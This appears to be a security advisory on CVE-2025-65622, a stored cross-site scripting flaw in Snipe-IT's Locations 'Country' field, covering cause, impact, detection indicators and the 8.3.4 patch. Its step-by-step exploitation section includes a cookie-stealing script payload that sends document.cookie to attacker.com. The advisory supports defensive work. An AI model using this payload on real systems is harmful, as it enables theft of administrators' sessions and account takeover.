CVE-2025-65622: 
PHP vulnerability analysis and mitigation

CVE-2025-65622 is a stored Cross-Site Scripting (XSS) vulnerability in Snipe-IT, an open-source IT asset management application, affecting all versions before 8.3.4. The flaw exists in the Locations module's "Country" field, allowing a low-privileged authenticated user to inject malicious JavaScript that executes in the browser session of any higher-privileged user who views or edits that location. It was discovered on October 17, 2025, by Igor Terlevic of SPAN, with the CVE assigned on November 25, 2025, and publicly disclosed on December 1, 2025. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) (Feedly, PoC Repo).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), caused by insufficient server-side sanitization of user-controlled input in the Locations "Country" field. A low-privileged user with Location management permissions can inject a JavaScript payload (e.g., <script>alert('XSS via Country field');</script>) when creating or editing a location entry. The payload is persisted in the database and executes in the browser context of any user — including administrators — who subsequently views or edits that location, enabling a stored XSS attack with cross-session impact. A public proof-of-concept is available on GitHub (PoC Repo).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the session of a higher-privileged user, such as an administrator, potentially leading to session cookie theft, account hijacking, unauthorized actions performed on behalf of the victim, and privilege escalation. Confidentiality and integrity are both at risk, as the attacker could capture sensitive data or modify application state through the victim's session. Availability impact is assessed as low, and there is no direct impact on the underlying server (Feedly, PoC Repo).

A public proof-of-concept exploit is available on GitHub, published by the vulnerability discoverer (PoC Repo). As of the time of reporting, there is no evidence of active in-the-wild exploitation, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.018%, reflecting a low probability of near-term exploitation. Exploitation requires a low-privileged authenticated account with Location management permissions and user interaction from a higher-privileged victim (Feedly).

1. Obtain low-privileged access: Log in to the Snipe-IT instance using an account that has permission to manage Locations (any low-privileged user with this role).
2. Navigate to Locations module: Access the Administration web interface and open the Locations section to create or edit an existing location entry.
3. Inject XSS payload: In the "Country" field, enter a malicious JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie;</script> or a simpler PoC like <script>alert('XSS via Country field');</script>.
4. Save the location: Submit the form to persist the payload in the database.
5. Wait for victim interaction: When a higher-privileged user (e.g., an administrator) views or edits the affected location, the stored script executes in their browser session.
6. Harvest results: The attacker receives the victim's session cookie or other captured data at the attacker-controlled endpoint, enabling session hijacking or further unauthorized actions (PoC Repo).

• Logs: Web server or application logs showing unusual or encoded values (e.g., <script>, javascript:, onerror=, onload=) submitted to the Locations "Country" field via POST requests to the Snipe-IT locations endpoint.
• Logs: Access logs showing requests from the Snipe-IT server or victim browser to unexpected external domains shortly after an administrator views a location record.
• Network: Outbound HTTP/HTTPS requests from administrator browsers to attacker-controlled domains containing URL-encoded cookie or session data (e.g., ?c= parameters with session token values).
• File System: No direct file system artifacts expected for this stored XSS; however, database records in the locations table with JavaScript content in the country column are a direct indicator.
• Process/Behavior: Unexpected browser-initiated requests to external URLs originating from administrator sessions within the Snipe-IT application context (PoC Repo).

The vendor released a patch in Snipe-IT version 8.3.4, which addresses the lack of server-side sanitization in the Locations "Country" field. Organizations should immediately upgrade to version 8.3.4 or later. As interim mitigations, administrators should implement a Content Security Policy (CSP) header to restrict script execution, apply the principle of least privilege to limit which users can manage Locations, and monitor for suspicious activity in location records. Ensuring output encoding for all user-controlled fields is also recommended as a defense-in-depth measure (PoC Repo, Feedly).

The vulnerability was acknowledged and patched by the Snipe-IT vendor on the same day it was discovered (October 17, 2025), demonstrating a rapid response. The discoverer, Igor Terlevic of SPAN, published a detailed write-up and PoC on GitHub following CVE assignment. No significant broader media coverage or notable community debate has been observed beyond standard vulnerability database aggregation (PoC Repo).